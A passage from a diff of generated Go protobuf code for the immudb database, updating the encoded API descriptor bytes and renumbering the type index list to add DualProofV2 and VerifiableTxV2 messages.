0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, + 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, - 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, - 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, - 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, - 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, - 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, - 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, - 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, - 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, - 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, - 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, - 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, + 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, + 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, + 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, + 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, + 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, + 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, + 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, + 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, + 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, + 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, + 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10293,7 +10460,7 @@ func file_schema_proto_rawDescGZIP() []byte { } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 131) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 133) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction @@ -10329,404 +10496,411 @@ var file_schema_proto_goTypes = []interface{}{ (*LinearProof)(nil), // 31: immudb.schema.LinearProof (*LinearAdvanceProof)(nil), // 32: immudb.schema.LinearAdvanceProof (*DualProof)(nil), // 33: immudb.schema.DualProof - (*Tx)(nil), // 34: immudb.schema.Tx - (*TxEntry)(nil), // 35: immudb.schema.TxEntry - (*KVMetadata)(nil), // 36: immudb.schema.KVMetadata - (*Expiration)(nil), // 37: immudb.schema.Expiration - (*VerifiableTx)(nil), // 38: immudb.schema.VerifiableTx - (*VerifiableEntry)(nil), // 39: immudb.schema.VerifiableEntry - (*InclusionProof)(nil), // 40: immudb.schema.InclusionProof - (*SetRequest)(nil), // 41: immudb.schema.SetRequest - (*KeyRequest)(nil), // 42: immudb.schema.KeyRequest - (*KeyListRequest)(nil), // 43: immudb.schema.KeyListRequest - (*DeleteKeysRequest)(nil), // 44: immudb.schema.DeleteKeysRequest - (*VerifiableSetRequest)(nil), // 45: immudb.schema.VerifiableSetRequest - (*VerifiableGetRequest)(nil), // 46: immudb.schema.VerifiableGetRequest - (*ServerInfoRequest)(nil), // 47: immudb.schema.ServerInfoRequest - (*ServerInfoResponse)(nil), // 48: immudb.schema.ServerInfoResponse - (*HealthResponse)(nil), // 49: immudb.schema.HealthResponse - (*DatabaseHealthResponse)(nil), // 50: immudb.schema.DatabaseHealthResponse - (*ImmutableState)(nil), // 51: immudb.schema.ImmutableState - (*ReferenceRequest)(nil), // 52: immudb.schema.ReferenceRequest - (*VerifiableReferenceRequest)(nil), // 53: immudb.schema.VerifiableReferenceRequest - (*ZAddRequest)(nil), // 54: immudb.schema.ZAddRequest - (*Score)(nil), // 55: immudb.schema.Score - (*ZScanRequest)(nil), // 56: immudb.schema.ZScanRequest - (*HistoryRequest)(nil), // 57: immudb.schema.HistoryRequest - (*VerifiableZAddRequest)(nil), // 58: immudb.schema.VerifiableZAddRequest - (*TxRequest)(nil), // 59: immudb.schema.TxRequest - (*EntriesSpec)(nil), // 60: immudb.schema.EntriesSpec - (*EntryTypeSpec)(nil), // 61: immudb.schema.EntryTypeSpec - (*VerifiableTxRequest)(nil), // 62: immudb.schema.VerifiableTxRequest - (*TxScanRequest)(nil), // 63: immudb.schema.TxScanRequest - (*TxList)(nil), // 64: immudb.schema.TxList - (*ExportTxRequest)(nil), // 65: immudb.schema.ExportTxRequest - (*ReplicaState)(nil), // 66: immudb.schema.ReplicaState - (*Database)(nil), // 67: immudb.schema.Database - (*DatabaseSettings)(nil), // 68: immudb.schema.DatabaseSettings - (*CreateDatabaseRequest)(nil), // 69: immudb.schema.CreateDatabaseRequest - (*CreateDatabaseResponse)(nil), // 70: immudb.schema.CreateDatabaseResponse - (*UpdateDatabaseRequest)(nil), // 71: immudb.schema.UpdateDatabaseRequest - (*UpdateDatabaseResponse)(nil), // 72: immudb.schema.UpdateDatabaseResponse - (*DatabaseSettingsRequest)(nil), // 73: immudb.schema.DatabaseSettingsRequest - (*DatabaseSettingsResponse)(nil), // 74: immudb.schema.DatabaseSettingsResponse - (*NullableUint32)(nil), // 75: immudb.schema.NullableUint32 - (*NullableUint64)(nil), // 76: immudb.schema.NullableUint64 - (*NullableFloat)(nil), // 77: immudb.schema.NullableFloat - (*NullableBool)(nil), // 78: immudb.schema.NullableBool - (*NullableString)(nil), // 79: immudb.schema.NullableString - (*NullableMilliseconds)(nil), // 80: immudb.schema.NullableMilliseconds - (*DatabaseNullableSettings)(nil), // 81: immudb.schema.DatabaseNullableSettings - (*ReplicationNullableSettings)(nil), // 82: immudb.schema.ReplicationNullableSettings - (*TruncationNullableSettings)(nil), // 83: immudb.schema.TruncationNullableSettings - (*IndexNullableSettings)(nil), // 84: immudb.schema.IndexNullableSettings - (*AHTNullableSettings)(nil), // 85: immudb.schema.AHTNullableSettings - (*LoadDatabaseRequest)(nil), // 86: immudb.schema.LoadDatabaseRequest - (*LoadDatabaseResponse)(nil), // 87: immudb.schema.LoadDatabaseResponse - (*UnloadDatabaseRequest)(nil), // 88: immudb.schema.UnloadDatabaseRequest - (*UnloadDatabaseResponse)(nil), // 89: immudb.schema.UnloadDatabaseResponse - (*DeleteDatabaseRequest)(nil), // 90: immudb.schema.DeleteDatabaseRequest - (*DeleteDatabaseResponse)(nil), // 91: immudb.schema.DeleteDatabaseResponse - (*FlushIndexRequest)(nil), // 92: immudb.schema.FlushIndexRequest - (*FlushIndexResponse)(nil), // 93: immudb.schema.FlushIndexResponse - (*Table)(nil), // 94: immudb.schema.Table - (*SQLGetRequest)(nil), // 95: immudb.schema.SQLGetRequest - (*VerifiableSQLGetRequest)(nil), // 96: immudb.schema.VerifiableSQLGetRequest - (*SQLEntry)(nil), // 97: immudb.schema.SQLEntry - (*VerifiableSQLEntry)(nil), // 98: immudb.schema.VerifiableSQLEntry - (*UseDatabaseReply)(nil), // 99: immudb.schema.UseDatabaseReply - (*ChangePermissionRequest)(nil), // 100: immudb.schema.ChangePermissionRequest - (*SetActiveUserRequest)(nil), // 101: immudb.schema.SetActiveUserRequest - (*DatabaseListResponse)(nil), // 102: immudb.schema.DatabaseListResponse - (*DatabaseListRequestV2)(nil), // 103: immudb.schema.DatabaseListRequestV2 - (*DatabaseListResponseV2)(nil), // 104: immudb.schema.DatabaseListResponseV2 - (*DatabaseWithSettings)(nil), // 105: immudb.schema.DatabaseWithSettings - (*Chunk)(nil), // 106: immudb.schema.Chunk - (*UseSnapshotRequest)(nil), // 107: immudb.schema.UseSnapshotRequest - (*SQLExecRequest)(nil), // 108: immudb.schema.SQLExecRequest - (*SQLQueryRequest)(nil), // 109: immudb.schema.SQLQueryRequest - (*NamedParam)(nil), // 110: immudb.schema.NamedParam - (*SQLExecResult)(nil), // 111: immudb.schema.SQLExecResult - (*CommittedSQLTx)(nil), // 112: immudb.schema.CommittedSQLTx - (*SQLQueryResult)(nil), // 113: immudb.schema.SQLQueryResult - (*Column)(nil), // 114: immudb.schema.Column - (*Row)(nil), // 115: immudb.schema.Row - (*SQLValue)(nil), // 116: immudb.schema.SQLValue - (*NewTxRequest)(nil), // 117: immudb.schema.NewTxRequest - (*NewTxResponse)(nil), // 118: immudb.schema.NewTxResponse - (*ErrorInfo)(nil), // 119: immudb.schema.ErrorInfo - (*DebugInfo)(nil), // 120: immudb.schema.DebugInfo - (*RetryInfo)(nil), // 121: immudb.schema.RetryInfo - (*TruncateDatabaseRequest)(nil), // 122: immudb.schema.TruncateDatabaseRequest - (*TruncateDatabaseResponse)(nil), // 123: immudb.schema.TruncateDatabaseResponse - (*Precondition_KeyMustExistPrecondition)(nil), // 124: immudb.schema.Precondition.KeyMustExistPrecondition - (*Precondition_KeyMustNotExistPrecondition)(nil), // 125: immudb.schema.Precondition.KeyMustNotExistPrecondition - (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 126: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 127: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 129: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 130: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 131: immudb.schema.Chunk.MetadataEntry - nil, // 132: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 133: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (_struct.NullValue)(0), // 134: google.protobuf.NullValue - (*empty.Empty)(nil), // 135: google.protobuf.Empty + (*DualProofV2)(nil), // 34: immudb.schema.DualProofV2 + (*Tx)(nil), // 35: immudb.schema.Tx + (*TxEntry)(nil), // 36: immudb.schema.TxEntry + (*KVMetadata)(nil), // 37: immudb.schema.KVMetadata + (*Expiration)(nil), // 38: immudb.schema.Expiration + (*VerifiableTx)(nil), // 39: immudb.schema.VerifiableTx + (*VerifiableTxV2)(nil), // 40: immudb.schema.VerifiableTxV2 + (*VerifiableEntry)(nil), // 41: immudb.schema.VerifiableEntry + (*InclusionProof)(nil), // 42: immudb.schema.InclusionProof + (*SetRequest)(nil), // 43: immudb.schema.SetRequest + (*KeyRequest)(nil), // 44: immudb.schema.KeyRequest + (*KeyListRequest)(nil), // 45: immudb.schema.KeyListRequest + (*DeleteKeysRequest)(nil), // 46: immudb.schema.DeleteKeysRequest + (*VerifiableSetRequest)(nil), // 47: immudb.schema.VerifiableSetRequest + (*VerifiableGetRequest)(nil), // 48: immudb.schema.VerifiableGetRequest + (*ServerInfoRequest)(nil), // 49: immudb.schema.ServerInfoRequest + (*ServerInfoResponse)(nil), // 50: immudb.schema.ServerInfoResponse + (*HealthResponse)(nil), // 51: immudb.schema.HealthResponse + (*DatabaseHealthResponse)(nil), // 52: immudb.schema.DatabaseHealthResponse + (*ImmutableState)(nil), // 53: immudb.schema.ImmutableState + (*ReferenceRequest)(nil), // 54: immudb.schema.ReferenceRequest + (*VerifiableReferenceRequest)(nil), // 55: immudb.schema.VerifiableReferenceRequest + (*ZAddRequest)(nil), // 56: immudb.schema.ZAddRequest + (*Score)(nil), // 57: immudb.schema.Score + (*ZScanRequest)(nil), // 58: immudb.schema.ZScanRequest + (*HistoryRequest)(nil), // 59: immudb.schema.HistoryRequest + (*VerifiableZAddRequest)(nil), // 60: immudb.schema.VerifiableZAddRequest + (*TxRequest)(nil), // 61: immudb.schema.TxRequest + (*EntriesSpec)(nil), // 62: immudb.schema.EntriesSpec + (*EntryTypeSpec)(nil), // 63: immudb.schema.EntryTypeSpec + (*VerifiableTxRequest)(nil), // 64: immudb.schema.VerifiableTxRequest + (*TxScanRequest)(nil), // 65: immudb.schema.TxScanRequest + (*TxList)(nil), // 66: immudb.schema.TxList + (*ExportTxRequest)(nil), // 67: immudb.schema.ExportTxRequest + (*ReplicaState)(nil), // 68: immudb.schema.ReplicaState + (*Database)(nil), // 69: immudb.schema.Database + (*DatabaseSettings)(nil), // 70: immudb.schema.DatabaseSettings + (*CreateDatabaseRequest)(nil), // 71: immudb.schema.CreateDatabaseRequest + (*CreateDatabaseResponse)(nil), // 72: immudb.schema.CreateDatabaseResponse + (*UpdateDatabaseRequest)(nil), // 73: immudb.schema.UpdateDatabaseRequest + (*UpdateDatabaseResponse)(nil), // 74: immudb.schema.UpdateDatabaseResponse + (*DatabaseSettingsRequest)(nil), // 75: immudb.schema.DatabaseSettingsRequest + (*DatabaseSettingsResponse)(nil), // 76: immudb.schema.DatabaseSettingsResponse + (*NullableUint32)(nil), // 77: immudb.schema.NullableUint32 + (*NullableUint64)(nil), // 78: immudb.schema.NullableUint64 + (*NullableFloat)(nil), // 79: immudb.schema.NullableFloat + (*NullableBool)(nil), // 80: immudb.schema.NullableBool + (*NullableString)(nil), // 81: immudb.schema.NullableString + (*NullableMilliseconds)(nil), // 82: immudb.schema.NullableMilliseconds + (*DatabaseNullableSettings)(nil), // 83: immudb.schema.DatabaseNullableSettings + (*ReplicationNullableSettings)(nil), // 84: immudb.schema.ReplicationNullableSettings + (*TruncationNullableSettings)(nil), // 85: immudb.schema.TruncationNullableSettings + (*IndexNullableSettings)(nil), // 86: immudb.schema.IndexNullableSettings + (*AHTNullableSettings)(nil), // 87: immudb.schema.AHTNullableSettings + (*LoadDatabaseRequest)(nil), // 88: immudb.schema.LoadDatabaseRequest + (*LoadDatabaseResponse)(nil), // 89: immudb.schema.LoadDatabaseResponse + (*UnloadDatabaseRequest)(nil), // 90: immudb.schema.UnloadDatabaseRequest + (*UnloadDatabaseResponse)(nil), // 91: immudb.schema.UnloadDatabaseResponse + (*DeleteDatabaseRequest)(nil), // 92: immudb.schema.DeleteDatabaseRequest + (*DeleteDatabaseResponse)(nil), // 93: immudb.schema.DeleteDatabaseResponse + (*FlushIndexRequest)(nil), // 94: immudb.schema.FlushIndexRequest + (*FlushIndexResponse)(nil), // 95: immudb.schema.FlushIndexResponse + (*Table)(nil), // 96: immudb.schema.Table + (*SQLGetRequest)(nil), // 97: immudb.schema.SQLGetRequest + (*VerifiableSQLGetRequest)(nil), // 98: immudb.schema.VerifiableSQLGetRequest + (*SQLEntry)(nil), // 99: immudb.schema.SQLEntry + (*VerifiableSQLEntry)(nil), // 100: immudb.schema.VerifiableSQLEntry + (*UseDatabaseReply)(nil), // 101: immudb.schema.UseDatabaseReply + (*ChangePermissionRequest)(nil), // 102: immudb.schema.ChangePermissionRequest + (*SetActiveUserRequest)(nil), // 103: immudb.schema.SetActiveUserRequest + 